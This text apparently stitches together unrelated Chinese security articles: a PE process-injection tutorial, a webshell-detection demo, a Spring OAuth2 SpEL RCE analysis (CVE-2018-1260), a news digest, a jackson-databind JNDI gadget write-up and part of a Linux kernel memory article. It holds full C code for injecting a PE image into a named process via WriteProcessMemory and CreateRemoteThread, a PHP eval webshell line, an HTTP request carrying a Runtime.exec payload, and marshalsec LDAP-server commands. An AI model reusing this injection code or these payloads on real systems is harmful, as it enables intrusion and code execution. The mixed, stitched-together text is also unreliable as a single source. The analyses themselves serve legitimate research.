PE文件大致可以分为两部分，即数据管理结构及数据部分。数据管理结构包含：DOS头、PE头、节表。数据部分包括节表数据（节表数据是包含着代码、数据等内容）。
1.DOS头
DOS头分为两个部分，分别是MZ头及DOS存根，MZ头是真正的DOS头部，它的结构被定义为IMAGE_DOS_HEADER。DOS存根是一段简单程序，主要是用于兼容DOS程序，当不兼容DOS程序时，输出：”this
program cannot be run in DOS mode”。
2.PE头
PE头分为三个部分，分别是PE标识（IMAGE_NT_SIGNATRUE）、文件头(/images/hook技术/image_FILE_HEADER)、可选头(IMAHE_OPTION_HEADER)。PE头是固定不变的，位于DOS头部中e_ifanew字段指出位置。
3.节表
程序中组织按照不同属性存在不同的节中，如果PE中文件头的NumberOfSections值中有N个节，那么节表就是由N个节表（IMAGE_SECTION_HEADER）组成。节表主要是存储了何种借的属性、文件位置、内存位置等。位置紧跟PE头后。
4.节表数据
PE文件真正程序部分的存储位置，有几个节表就有几个节表数据，根据节表的属性、地址等信息，程序的程序就分布在节表的指定位置。位置紧跟节表后。
**导入表**
在了解IAT表之前，需要知道PE数据目录项的第二个结构 — 导入表
由于导入函数就是被程序调用但其执行代码又不在程序中的函数，这些函数的代码位于一个或者多个DLL 中。当PE 文件被装入内存的时候，Windows
装载器才将DLL
装入，并将调用导入函数的指令和函数实际所处的地址联系起来(动态连接)，这操作就需要导入表完成，其中导入地址表就[指示函数](https://baike.baidu.com/item/指示函数/3774265)实际地址。
导入表是一个结构体，如下所示
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
这里`VirtualAddress`为导入表的RVA(PE文件在内存中会拉伸，拉伸后的文件偏移地址称为RVA，原来的文件偏移地址称为FOA，计算公式为`FOA
= 导入RVA表地址 - 虚拟偏移 +
实际偏移`)，Size为导入表的大小。但是上面的解雇姿势说明导入表在哪里、有多大，并不是真正的导入表。VirtualAddress中存储的是RVA，如果要在FileBuffer中定位，需要将RVA转换成FOA，即内存偏移->文件偏移，通过转换过后才能得到真正的导入表，结构如下
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics;
DWORD OriginalFirstThunk; //RVA 指向IMAGE_THUNK_DATA结构数组（即INT表）
};
DWORD TimeDateStamp; //时间戳
DWORD ForwarderChain;
DWORD Name; //RVA,指向dll名字，该名字已0结尾
DWORD FirstThunk; //RVA,指向IMAGE_THUNK_DATA结构数组（即IAT表）
} IMAGE_IMPORT_DESCRIPTOR;
typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;
**IAT表**
到真正的导入表这个地方，又涉及到两个表，即INT表(Import Name Table)和IAT(Import Address
Table)，很明显这里一个表是存储名称，一个表是存储地址的。这里又有一个注意的地方，就是在加载之前INT、IAT表里面存放的都是函数的名称并指向IMAGE_IMPORT_BY_NAME结构，如下图所示
在PE文件加载到内存后，INT表的内容和指向的结构都不变，但是IAT表存放的就是函数的地址，也不指向`IMAGE_IMPORT_BY_NAME`结构了，如下所示
# 实现过程
那么要进行写入肯定需要修复重定位表跟IAT表，因为在默认情况下exe的ImageBase为0x400000，但是可能占不到0x400000这个位置，那么就需要修复重定位表来修改一些全局变量的指向。
也许有人有这样的疑问，重定位表中已经包含了IAT表的地址，修复重定位表也就是修复了IAT表的地址，问题在于修复的是IAT表的地址，我们知道IAT表里存的是一个地址，地址里面的值才是正在的函数地址，函数地址的值是在运行的时候才会确定下来(这也与重定位有关)，而我们运行时系统给我们写的函数地址的值，并不是基于我们希望的那个位置写的，我们希望的位置是在被写入进程中创建空间的首地址，所以这个代码应该在被写入的进程中执行。
首先编写修复IAT表的代码，这里看下IAT表的结构
typedef struct _IMAGE_IMPORT_BY_NAME {
WORD Hint;
BYTE Name[1];
} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;
在IAT表里面有两种方式，一种是以序号导入，一种是以名字导入
这里就直接贴修复IAT表的代码了，解释起来有点困难，如果没有基础的师傅请自行百度
DWORD WINAPI FixIATTable(LPVOID ImageBase)
{
PIMAGE_DOS_HEADER pDosHeader = NULL;
PIMAGE_NT_HEADERS pNTHeader = NULL;
PIMAGE_FILE_HEADER pPEHeader = NULL;
PIMAGE_OPTIONAL_HEADER32 pOptionHeader = NULL;
PIMAGE_SECTION_HEADER pSectionHeader = NULL;
PIMAGE_IMPORT_DESCRIPTOR pIMPORT_DESCRIPTOR = NULL;
PIMAGE_IMPORT_BY_NAME pImage_IMPORT_BY_NAME = NULL;
PDWORD OriginalFirstThunk = NULL;
PDWORD FirstThunk = NULL;
PIMAGE_THUNK_DATA pImageThunkData = NULL;
DWORD Original = 0;
pDosHeader = (PIMAGE_DOS_HEADER)ImageBase;
pNTHeader = (PIMAGE_NT_HEADERS)((DWORD)ImageBase + pDosHeader->e_lfanew);
pPEHeader = (PIMAGE_FILE_HEADER)((DWORD)pNTHeader + 4);
pOptionHeader = (PIMAGE_OPTIONAL_HEADER32)((DWORD)pPEHeader + IMAGE_SIZEOF_FILE_HEADER);
//导入表相关信息占20个字节
pIMPORT_DESCRIPTOR = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)ImageBase + pOptionHeader->DataDirectory[1].VirtualAddress);
DWORD dwFuncAddr = 0;
HMODULE hModule;
TCHAR Buffer[100] = {0};
while (pIMPORT_DESCRIPTOR->FirstThunk && pIMPORT_DESCRIPTOR->OriginalFirstThunk)
{
const char* pModuleAddr = (const char*)((DWORD)ImageBase + (DWORD)pIMPORT_DESCRIPTOR->Name);
mbstowcs(Buffer, pModuleAddr, 100);
hModule = LoadLibrary(Buffer);
printf("%s", (LPCWCHAR)((DWORD)ImageBase + (DWORD)pIMPORT_DESCRIPTOR->Name));
if (hModule == NULL)
{
printf("hModule error is:%d",::GetLastError());
return 0;
}
// FirstThunk 指向 IMAGE_THUNK_DATA 结构数组
OriginalFirstThunk = (PDWORD)((DWORD)ImageBase + (DWORD)pIMPORT_DESCRIPTOR->OriginalFirstThunk);
FirstThunk = (PDWORD)((DWORD)ImageBase + (DWORD)pIMPORT_DESCRIPTOR->FirstThunk);
while (*OriginalFirstThunk)
{
if (*OriginalFirstThunk & 0x80000000)
{
//高位为1 则 除去最高位的值就是函数的导出序号
//去除最高标志位
Original = *OriginalFirstThunk & 0xFFF;
dwFuncAddr = (DWORD)GetProcAddress(hModule, (PCHAR)Original);
}
else
{
//高位不为1 则指向IMAGE_IMPORT_BY_NAME;
pImage_IMPORT_BY_NAME = (PIMAGE_IMPORT_BY_NAME)((DWORD)ImageBase + *OriginalFirstThunk);
dwFuncAddr = (DWORD)GetProcAddress(hModule, (PCHAR)pImage_IMPORT_BY_NAME->Name);
}
*FirstThunk = dwFuncAddr;
OriginalFirstThunk++;
}
pIMPORT_DESCRIPTOR++;
}
return 1;
}
再就是修复重定位表，首先看下重定位表，位于数据目录项的第六个结构
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
VirtualAddress为重定位表的RVA，Size为重定位表的大小
上面的结构只是说明重定位表在哪里、有多大，并不是真正的重定位表
VirtualAddress中存储的是RVA，如果要在FileBuffer中定位，需要将RVA转换成FOA，即内存偏移->文件偏移
真正的重定位表的结构如下：
typedef struct _IMAGE_BASE_RELOCATION {
DWORD VirtualAddress;
DWORD SizeOfBlock;
} IMAGE_BASE_RELOCATION;
typedef IMAGE_BASE_RELOCATION ，* PIMAGE_BASE_RELOCATION;
一般情况下，EXE都是可以按照ImageBase的地址进行加载的。因为Exe拥有自己独立的4GB 的虚拟内存空间。但DLL
不是，DLL是有EXE使用它，才加载到相关EXE的进程空间的。为了提高搜索的速度，模块间地址也是要对齐的 模块地址对齐为10000H 也就是64K。
重定位表的具体解析如图所示
根据解析编写重定位表的代码如下
PIMAGE_BASE_RELOCATION pRelocationDirectory = (PIMAGE_BASE_RELOCATION)((DWORD)pAddr + GetRelocAddr(pAddr));
while (pRelocationDirectory->SizeOfBlock != 0 && pRelocationDirectory->VirtualAddress != 0)
{
DWORD sizeOfWord = (pRelocationDirectory->SizeOfBlock - 8) / 2;
PWORD pWord = (PWORD)((DWORD)pRelocationDirectory + 8);
for (int i = 0; i < sizeOfWord; i++)
{
if (*pWord >> 12 != 0)
{
PDWORD offsetAddr = (PDWORD)(pRelocationDirectory->VirtualAddress + (*pWord & 0xFFF) + (DWORD)pAddr);
*offsetAddr = *offsetAddr + (DWORD)pExAddr - GetImageBase(win32/imagebase);
pWord++;
continue;
}
pWord++;
}
pRelocationDirectory = (PIMAGE_BASE_RELOCATION)((DWORD)pRelocationDirectory + pRelocationDirectory->SizeOfBlock);
}
然后就是主函数的编写，首先获取当前进程的路径
::GetModuleFileName(NULL, path, MAX_PATH);
再获取模块基址
HMODULE imagebase = ::GetModuleHandle(NULL);
通过PE头获取`SizeOfImage`参数
_size = pOptionHeader->SizeOfImage;
使用`VirtualAlloc`申请空间
pAddr = VirtualAlloc(NULL, _size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
打开要注入的进程
hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _getProcessPid(ProcessName));
使用`VirtualAllocEx`申请内存
pExAddr = ::VirtualAllocEx(hprocess, NULL, _size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
然后再修复重定位表和IAT表
DWORD FixNewIATTable = (DWORD)FixIATTable + (DWORD)pAddr - (DWORD)imagebase;
创建远程线程并等待消息返回，关闭句柄
hThread = ::CreateRemoteThread(hprocess, NULL, 0, (LPTHREAD_START_ROUTINE)FixNewIATTable, pAddr, 0, NULL);
WaitForSingleObject(hThread, -1);
CloseHandle(hThread);
注入函数的完整代码如下
VOID inject(LPCWSTR InjetName)
{
//获取要注入的进程
WCHAR ProcessName[] = TEXT("YoudaoNote.exe");
DWORD dwPid = GetPid(ProcessName);
if (dwPid == 0)
{
printf("[!] GetPID failed,error is : %d\n\n", GetLastError());
return 0;
}
else
{
printf("[*] GetPID successfully!\n\n");
}
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, dwPid);
if (hProcess == NULL)
{
printf("[!] OpenProcess failed,error is : %d\n\n", GetLastError());
return 0;
}
else
{
printf("[*] OpenProcess successfully!\n\n");
}
//获取loadlibrary和GetProcAddress的函数地址
HMODULE hKernel32 = LoadLibrary(TEXT("Kernel32.dll"));
MyLoadlibrary = (pLoadLibrary)GetProcAddress(hKernel32, "LoadLibraryA");
pMyGetAddress = (pGetProcAddress)GetProcAddress(hKernel32, "GetProcAddress");
//获取函数偏移
DWORD CurrentImageBase = (DWORD)GetModuleHandle(NULL);
DWORD dwTemp = (DWORD)ThreadProc;
//修正地址
if (*((char*)dwTemp) == (char)0xE9)
{
dwTemp = dwTemp + *((PDWORD)(dwTemp + 1)) + 5;
}
DWORD pFun = dwTemp - CurrentImageBase;
LPVOID pImageBuff = LoadImageBuffSelf();
//在要注入的程序申请空间
DWORD SizeofImage = GetSizeOfImage(pImageBuff);
DWORD ImageBase = GetImageBase(pImageBuff);
LPVOID pAlloc = NULL;
for (DWORD i = 0; pAlloc == NULL; i += 0x10000)
{
pAlloc = VirtualAllocEx(hProcess, (LPVOID)(ImageBase + i), SizeofImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
}
if ((DWORD)pAlloc != ImageBase)
{
//修复重定向表
ChangeImageBase(pImageBuff, (DWORD)pAlloc);
printf("[*] ChangeImageBase successfully!\n\n");
}
//写入进程
if (WriteProcessMemory(hProcess, pAlloc, pImageBuff, SizeofImage, NULL) == false)
{
printf("[!] WriteProcessMemory failed,error is : %d\n\n", GetLastError());
return 0;
}
else
{
printf("[*] WriteProcessMemory successfully!\n\n");
}
//创建远程线程
if (NULL == CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((DWORD)pAlloc + pFun), (LPVOID)(pAlloc), 0, NULL))
{
printf("[!] CreateRemoteThread failed,error is : %d\n\n", GetLastError());
return 0;
}
else
{
printf("[*] CreateRemoteThread successfully!\n\n");
}
printf("[*] WriteProcessMemory successfully!\n\n");
}
# 实现效果
这里选择注入的程序是有道云
效果的话就是每隔一秒中弹窗内存写入的MessageBox
运行程序注入成功，首先弹一个MessageBox的框
再每隔一秒钟弹一个内存写入的框，证明内存写入成功
欢迎关注公众号 **红队蓝军** | 社区文章 |
传统webshell查杀思路
* 规则系统
* 旁路执行
* 沙箱
基于机器学习/深度学习的webshell查杀引擎，通过专家知识提取特征训练分类器，其结果受样本、特征、结构等多种因素影响。
特征维度：
1. 文本语义(n-gram/TF-IDF/word2vec/CNN/RNN)
2. 统计特征(信息熵/重合指数/最长词/可压缩比)
3. 历史数据特征(计算单个文件的落盘时间/文件创建进程/文件类型/代码风格/权限和同目录下其他文件的"距离")
4. OP指令层特征(指令/调用链/参数文本特征)
5. 动态特征(文件读写/网络连接，可依靠沙箱或旁路执行能力解决编码混淆类case)
我尝试在兜哥《Web安全之机器学习入门》提出的opcode模型基础上，加入文本语义与参数语义特征，构建深度学习模型。模型首先识别php文件，然后提取特征进行计算。
用Github爬取的1w非同源样本测试效果，精确99.1%召回98.6%。结果显示深度学习的静态分析模型召回率优于规则系统，精确率优于沙箱。
demo
* <http://webshell.cdxy.me/>
提供WEB测试页面和批量打标接口
➜ ~ echo "<?php eval(\$_GET[1]);?>" > shell.php
➜ ~ curl http://webshell.cdxy.me/api -F [email protected]
{"status": "ok", "result": [["danger", "MALICIOUS", "webshell detected. Go on, bro!"]]}
在此抛砖引玉，如成功绕过可在评论区留言或邮件我，绕过姿势的案例分析和对改进方向的思考会再次分享。
### ref
* [基于机器学习的分布式webshell检测系统-特征工程（1）](https://www.s0nnet.com/archives/fshell-feature-1)
* [河马-利用机器学习检测WEBSHELL](http://blog.shellpub.com/2017/10/11/%E6%B2%B3%E9%A9%ACwebshell%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0.html)
* [GitChat · 安全 | 基于机器学习的 Webshell 发现技术探索](http://blog.csdn.net/GitChat/article/details/77932384?locationNum=4&fps=1)
* [刘焱： Webshell 发现技术实战解析](http://gitbook.cn/books/5964d154cc597d3e0c08667c/index.html)
* [安普诺张涛：再谈webshell检测](http://www.cnetsec.com/article/22593.html) | 社区文章 |
# 谨防Magic SpEL - Part 2（CVE-2018-1260）
|
##### 译文声明
本文是翻译文章，文章原作者 Matt N，文章来源：http://blog.h3xstream.com/
原文地址：<http://blog.h3xstream.com/2018/05/beware-of-magic-spell-part-2-cve-2018.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这里我们将对Spring Security
OAuth2（CVE-2018-1260）中类似的RCE漏洞进行练习。我们将介绍攻击目标，它的发现方法和利用所需的条件。此漏洞也与2016年披露的另一个漏洞有相似之处。我们将在我们分析修复的部分讨论这种相似性。
## 分析潜在的漏洞
这一切都始于Find Security Bugs的bug模式SPEL_INJECTION的报告。
它报告SpelExpressionParser.parseExpression()中动态参数的使用，也是我们先前漏洞中使用的相同API。表达式解析器用于解析置于大括号`$
{...}`之间的表达式。
public SpelView(String template) {
this.template = template;
this.prefix = new RandomValueStringGenerator().generate() + "{";
this.context.addPropertyAccessor(new MapAccessor());
this.resolver = new PlaceholderResolver() {
public String resolvePlaceholder(String name) {
Expression expression = parser.parseExpression(name); //Expression parser
Object value = expression.getValue(context);
return value == null ? null : value.toString();
}
};
}
控制器类WhitelabelApprovalEndpoint使用此SpelView类构建OAuth2授权流程。SpelView类将名为“template”的字符串（见下面的代码）认定为Spring表达式。
@RequestMapping("/oauth/confirm_access")
public ModelAndView getAccessConfirmation(Map<String, Object> model, HttpServletRequest request) throws Exception {
String template = createTemplate(model, request);
if (request.getAttribute("_csrf") != null) {
model.put("_csrf", request.getAttribute("_csrf"));
}
return new ModelAndView(new SpelView(template), model); //template variable is a SpEL
}
在方法createTemplate（）和createScopes（）之后，我们可以看到属性“scopes”被附加到HTML模板中，该模板将被认定为一个表达式。绑定到模板的唯一模型参数是CSRF
token。但是，CSRF token不受远程用户的控制。
protected String createTemplate(Map<String, Object> model, HttpServletRequest request) {
String template = TEMPLATE;
if (model.containsKey("scopes") || request.getAttribute("scopes") != null) {
template = template.replace("%scopes%", createScopes(model, request)).replace("%denial%", "");
}
[...]
private CharSequence createScopes(Map<String, Object> model, HttpServletRequest request) {
StringBuilder builder = new StringBuilder("<ul>");
@SuppressWarnings("unchecked")
Map<String, String> scopes = (Map<String, String>) (model.containsKey("scopes") ? model.get("scopes") : request
.getAttribute("scopes")); //Scope attribute loaded here
for (String scope : scopes.keySet()) {
String approved = "true".equals(scopes.get(scope)) ? " checked" : "";
String denied = !"true".equals(scopes.get(scope)) ? " checked" : "";
String value = SCOPE.replace("%scope%", scope).replace("%key%", scope).replace("%approved%", approved)
.replace("%denied%", denied);
builder.append(value);
}
builder.append("</ul>");
return builder.toString();
}
此时，我们不确定scopes属性是否可以由远程用户控制。虽然属性（req.getAttribute（..））表示存储在服务器端的会话值，但scope是OAuth2流的可选参数部分。
该参数可以被用户访问，并被保存到服务器端的属性中，最终加载到之前的模板里。
在对文档和一些测试进行了研究之后，我们发现“scopes”是隐式OAuth2流的GET参数部分。因此，隐性模式将是我们易受攻击的应用程序所必需的。
## 猜想验证和局限性
在测试我们的应用程序时，我们意识到scopes的验证是基于用户定义的scopes白名单的。如果配置了这个白名单，我们就不能随意创造scopes参数。如果scopes没有被定义，则不会对其进行验证。这种局限性可能会使大多数Spring
OAuth2应用程序依旧安全。
第一个请求使用scopes`${1338-1}`，见下图。根据回应，我们现在确认scopes参数的值可以被SpelView表达式的执行。
第二个测试是使用表达式`$
{T（java.lang.Runtime）.getRuntime（）.exec（”calc.exe“）}`来验证表达式不限于简单的算术运算。
为了更容易再现，这里是之前截下的http请求原始数据。某些字符（主要是花括号）不受Web容器支持，需要进行URL编码以访问应用程序。
`{ ->％7b`
POST /oauth/authorize?response_type=code&client_id=client&username=user&password=user&grant_type=password&scope=%24%7bT(java.lang.Runtime).getRuntime().exec(%22calc.exe%22)%7d&redirect_uri=http://csrf.me HTTP/1.1
Host: localhost:8080
Authorization: Bearer 1f5e6d97-7448-4d8d-bb6f-4315706a4e38
Content-Type: application/x-www-form-urlencoded
Accept: */*
Content-Length: 0
## 分析修复代码
Pivotal团队选择的解决方案是用简单的视图替换SpelView，并进行基本的级联。
这消除了SpEL执行的所有可能路径。第一个补丁提出了一个潜在的XSS漏洞，但幸运的是，在该漏洞被公开前已经被修复。scopes值现在可以正确转义并且不受任何注入影响。
更重要的是，该解决方案提高了另一个终端的安全性：WhitelabelErrorEndpoint。该终端也不再使用Spel
View。它在2016年被发现容易遭受同样的攻击。Spring-OAuth2也使用SpelView类来构建存在漏洞的页面。有趣的是，模板参数是静态的，但绑定到模板的参数是递归执行的。这意味着模型中的任何值都可能导致远程代码执行。
该递归执行通过向表达式边界添加随机前缀来修复。这个模板的安全性现在依赖于6个字符的随机性（6的62次方个可能性）。一些分析师对这种修复方案持怀疑态度，如果做了足够的尝试，就会增加风险。但是，现在这不再是一种可能性，因为SpelView也被从此终端删除。
SpelView类也存在于Spring Boot中。这个实现有一个自定义的解析器来避免递归。这意味着尽管Spring-OAuth2项目不再使用它，但其他组件或专有应用程序可能会重用（复制粘贴）此实用程序类以节省一些时间。出于这个原因，在查找安全漏洞中引入了一种寻找SpelView的新探测器。探测器不会查找特定的包名称，因为我们假定应用程序可能具有SpelView类的副本，而不是对Spring-OAuth2或Spring Boot类的引用。
## 局限性和利用
我们鼓励您保持所有Web应用程序的依赖项保持最新。如果由于任何原因你必须推迟更新，以下是漏洞具体的利用条件：
1.在依赖关系树中有Spring OAuth2
2.用户必须启用隐式模式，它可以与其他授权类型一起启用
3.scope列表需要为空（未明确设置为一个或多个元素）
好消息是，并非所有OAuth2应用程序都会受到攻击。为了指定任意范围，攻击者的用户配置文件需要有一个空的scope列表。
## 总结
这是SpEL注入漏洞系列的第二篇也是最后一篇文章。我们希望它为这个不太常见的漏洞类别提供了一些信息。
正如前面在第1部分中提到的，在您自己的应用程序中找到这个漏洞不太可能。它更可能出现类似于Spring-Data或Spring-OAuth的组件。如果您是Java开发人员或负责审计Java代码以确保安全的人员，则可以使用Find Security
Bugs（我们用来查找此漏洞的工具）扫描您的应用程序。
## 参考
<https://pivotal.io/security/cve-2018-1260>
<https://pivotal.io/security/cve-2016-4977>
<https://docs.spring.io/spring/docs/3.0.x/reference/expressions.html>
<http://find-sec-bugs.github.io/bugs.htm#SPEL_INJECTION>
审核人：yiwang 编辑：边边 | 社区文章 |
# 2月2日安全热点 - Smominru僵尸网络 / Adobe 0day漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
WannaMine — 通过NSA EternalBlue漏洞传播的新型蠕虫
<http://securityaffairs.co/wordpress/68518/malware/wannamine-nsa-eternalblue.html>
Droidclub僵尸网络
趋势科技网络安全解决方案团队发现了一个新的僵尸网络，通过Chrome扩展程序提供，影响到超过50万用户。
<https://blog.trendmicro.com/trendlabs-security-intelligence/malicious-chrome-extensions-found-chrome-web-store-form-droidclub-botnet/>
恶意软件样本试图利用Meltdown和Specter漏洞
<https://www.bleepingcomputer.com/news/security/we-may-soon-see-malware-leveraging-the-meltdown-and-spectre-vulnerabilities/>
Smominru僵尸网络感染了超过500,000台Windows机器
<https://www.bleepingcomputer.com/news/security/smominru-botnet-infected-over-500-000-windows-machines/>
Adobe新的0day在野漏洞
<https://www.bleepingcomputer.com/news/security/new-adobe-flash-zero-day-spotted-in-the-wild/>
## 技术类
如何在JSON端点上利用CSRF漏洞
<https://blog.appsecco.com/exploiting-csrf-on-json-endpoints-with-flash-and-redirects-681d4ad6b31b>
一个瞄准数据库服务器的挖矿僵尸网络
<http://blog.netlab.360.com/ddg-a-mining-botnet-aiming-at-database-server/>
JStillery：Advanced JS Deobfuscation via Partial Evaluation
<https://paper.seebug.org/524/>
2017年网络诈骗趋势研究报告
<https://www.anquanke.com/post/id/96973>
Vulnserver – KSTET利用
<http://ewilded.blogspot.com/2018/01/vulnserver-my-kstet-exploit-delivering.html>
如何通过使用ABI过滤器和APK分割器缩小APK包
https://proandroiddev.com/reducing-apk-size-by-using-abi-filters-and-apk-split-74a68a885f4e
在Windows 10上运行最新的x64 Mimikatz
[https://astr0baby.wordpress.com/2018/01/30/running-latest-x64-mimikatz-on-windows-10](https://astr0baby.wordpress.com/2018/01/30/running-latest-x64-mimikatz-on-windows-10/?utm_source=securitydailynews.com)
基于IOCTLBF框架编写的驱动漏洞挖掘工具KDRIVER FUZZER
<https://whereisk0shl.top/post/2018-01-30>
冷门知识 — NoSQL注入知多少
<https://www.anquanke.com/post/id/97211>
SSH僵尸主机挖矿木马预警
<http://www.aqniu.com/threat-alert/31390.html>
VER-OBSERVER 一个可以探测框架及依赖版本的命令行工具
<http://blog.neargle.com/2018/01/29/ver-observer-a-tool-about-version-detection/>
Autosploit——自动化利用远程主机工具
<https://github.com/NullArray/AutoSploit>
一款从EK中删除恶意软件的工具
<https://github.com/nao-sec/mal_getter>
iOS 11越狱工具
<https://github.com/Coalfire-Research/iOS-11.1.2-15B202-Jailbreak>
超全的 Linux 机器的渗透测试命令备忘表
<http://www.91ri.org/17575.html> | 社区文章 |
# 1\. 漏洞描述
近日，跟踪到jackson-databind在github上更新了一个新的反序列化利用类`org.apache.openjpa.ee.WASRegistryManagedRuntime`，issue编号2670，该类绕过了之前jackson-databind维护的黑名单类。如果项目中包含openjpa-all库，并且JDK版本较低的话，请及时升级jackson-databind到安全版本。
# 2\. 影响范围
jackson-databind < 2.9.10.4
# 3\. 漏洞分析
该漏洞不出意外还是JNDI注入，因此分析的时候，可以直接先搜索受影响类的lookup方法，看看漏洞入口在哪里，本文复现的时候用的是openjpa-all-2.4.3版本。
首先定位到`org.apache.openjpa.ee.WASRegistryManagedRuntime`类，发现该类定义的很简单，并且没有搜索到lookup方法的调用。
但是可以发现该类继承了`RegistryManagedRuntime`，跟进到`RegistryManagedRuntime`类，首先定位到了getTransactionManager方法调用了lookup,参数为私有变量`_registryName`且有默认值。
继续看看`_registryName`是否可控，在setRegistryName方法对`_registryName`进行赋值。
因此整个的调用链为`WASRegistryManagedRuntime->RegistryManagedRuntime->setRegistryName->getTransactionManager->lookup`
一个简单的复现代码如下，可以照着之前漏洞的代码改一改：
用marshalsec监听ldap服务，并转发到python开启的http端口，并在http目录下放置事先编译好执行命令的class文件，即可完成漏洞的复现。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xxx.com:8787/#hello 1399
python -m SimpleHTTPServer 8787
其实，在这里还需要说下为什么需要调用`mapper.enableDefaultTyping()`，当不带参数调用enableDefaultTyping时，会设置DefaultTyping为OBJECT_AND_NON_CONCRETE。
DefaultTyping有四个选项：
JAVA_LANG_OBJECT: 当对象属性类型为Object时生效；
OBJECT_AND_NON_CONCRETE: 当对象属性类型为Object或者非具体类型（抽象类和接口）时生效；
NON_CONCRETE_AND+_ARRAYS: 同上, 另外所有的数组元素的类型都是非具体类型或者对象类型；
NON_FINAL: 对所有非final类型或者非final类型元素的数组。
因此，当开启DefaultTyping后，会开发者在反序列化时指定要还原的类，过程中调用其构造方法setter方法或某些特殊的getter方法，当这些方法中存在一些危险操作时就造成了代码执行。
官方在github的更新措施[点这里](https://github.com/FasterXML/jackson-databind/commit/e2ba12d5d60715d95105e3e790fc234cfb59893d)，仍然是添加`org.apache.openjpa.ee.WASRegistryManagedRuntime`为黑名单类，但这种方式治标不治本，后续可能出现其他绕过黑名单的gdaget，并且仔细看看发现父类`org.apache.openjpa.ee.RegistryManagedRuntime`早已经上了黑名单，该漏洞只是”旧瓶装新酒”，找了继承该父类的子类绕过黑名单。
# 4\. 防御措施
1. 及时将jackson-databind升级到安全版本(>=2.9.10.4,> 2.10.0)；
2. 升级到较高版本的JDK。
### 参考
<https://github.com/FasterXML/jackson-databind/issues/2670> | 社区文章 |
# 浅析Linux Kernel[5.11.0]内存管理（一）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
本文基于如下环境：
* Kernel Version：5.11.0
* Debugging Env：Ubuntu 20.04.02 x64(Kernel Version—5.11.0)
近来笔者计划从脏牛漏洞入手，分析Linux内核漏洞，故在开始之前学习了Linux内核中内存管理部分相关内容，下文权当笔者学习过程整理的笔记。如有不当之处，望读者不吝赐教。
## 二、层次组织
### 0x01 Node
UMA——Uniform Memory Access，NUMA——Non-uniform memory access：
可进一步阅读[Non-uniform memory access—Wikipedia](https://en.wikipedia.org/wiki/Non-uniform_memory_access)。Linux为每个节点定义了一个类型为`pg_data_t`的描述符：
/*
* On NUMA machines, each NUMA node would have a pg_data_t to describe
* it's memory layout. On UMA machines there is a single pglist_data which
* describes the whole memory.
*
* Memory statistics and page replacement data structures are maintained on a
* per-zone basis.
*/
typedef struct pglist_data {
/*
* node_zones contains just the zones for THIS node. Not all of the
* zones may be populated, but it is the full list. It is referenced by
* this node's node_zonelists as well as other node's node_zonelists.
*/
struct zone node_zones[MAX_NR_ZONES];
/*
* node_zonelists contains references to all zones in all nodes.
* Generally the first zones will be references to this node's
* node_zones.
*/
struct zonelist node_zonelists[MAX_ZONELISTS];
int nr_zones; /* number of populated zones in this node */
#ifdef CONFIG_FLAT_NODE_MEM_MAP /* means !SPARSEMEM */
struct page *node_mem_map;
#ifdef CONFIG_PAGE_EXTENSION
struct page_ext *node_page_ext;
#endif
#endif
#if defined(CONFIG_MEMORY_HOTPLUG) || defined(CONFIG_DEFERRED_STRUCT_PAGE_INIT)
/*
* Must be held any time you expect node_start_pfn,
* node_present_pages, node_spanned_pages or nr_zones to stay constant.
* Also synchronizes pgdat->first_deferred_pfn during deferred page
* init.
*
* pgdat_resize_lock() and pgdat_resize_unlock() are provided to
* manipulate node_size_lock without checking for CONFIG_MEMORY_HOTPLUG
* or CONFIG_DEFERRED_STRUCT_PAGE_INIT.
*
* Nests above zone->lock and zone->span_seqlock
*/
spinlock_t node_size_lock;
#endif
unsigned long node_start_pfn;
unsigned long node_present_pages; /* total number of physical pages */
unsigned long node_spanned_pages; /* total size of physical page
range, including holes */
int node_id;
wait_queue_head_t kswapd_wait;
wait_queue_head_t pfmemalloc_wait;
struct task_struct *kswapd; /* Protected by
mem_hotplug_begin/end() */
int kswapd_order;
enum zone_type kswapd_highest_zoneidx;
int kswapd_failures; /* Number of 'reclaimed == 0' runs */
#ifdef CONFIG_COMPACTION
int kcompactd_max_order;
enum zone_type kcompactd_highest_zoneidx;
wait_queue_head_t kcompactd_wait;
struct task_struct *kcompactd;
#endif
/*
* This is a per-node reserve of pages that are not available
* to userspace allocations.
*/
unsigned long totalreserve_pages;
#ifdef CONFIG_NUMA
/*
* node reclaim becomes active if more unmapped pages exist.
*/
unsigned long min_unmapped_pages;
unsigned long min_slab_pages;
#endif /* CONFIG_NUMA */
/* Write-intensive fields used by page reclaim */
ZONE_PADDING(_pad1_)
#ifdef CONFIG_DEFERRED_STRUCT_PAGE_INIT
/*
* If memory initialisation on large machines is deferred then this
* is the first PFN that needs to be initialised.
*/
unsigned long first_deferred_pfn;
#endif /* CONFIG_DEFERRED_STRUCT_PAGE_INIT */
#ifdef CONFIG_TRANSPARENT_HUGEPAGE
struct deferred_split deferred_split_queue;
#endif
/* Fields commonly accessed by the page reclaim scanner */
/*
* NOTE: THIS IS UNUSED IF MEMCG IS ENABLED.
*
* Use mem_cgroup_lruvec() to look up lruvecs.
*/
struct lruvec __lruvec;
unsigned long flags;
ZONE_PADDING(_pad2_)
/* Per-node vmstats */
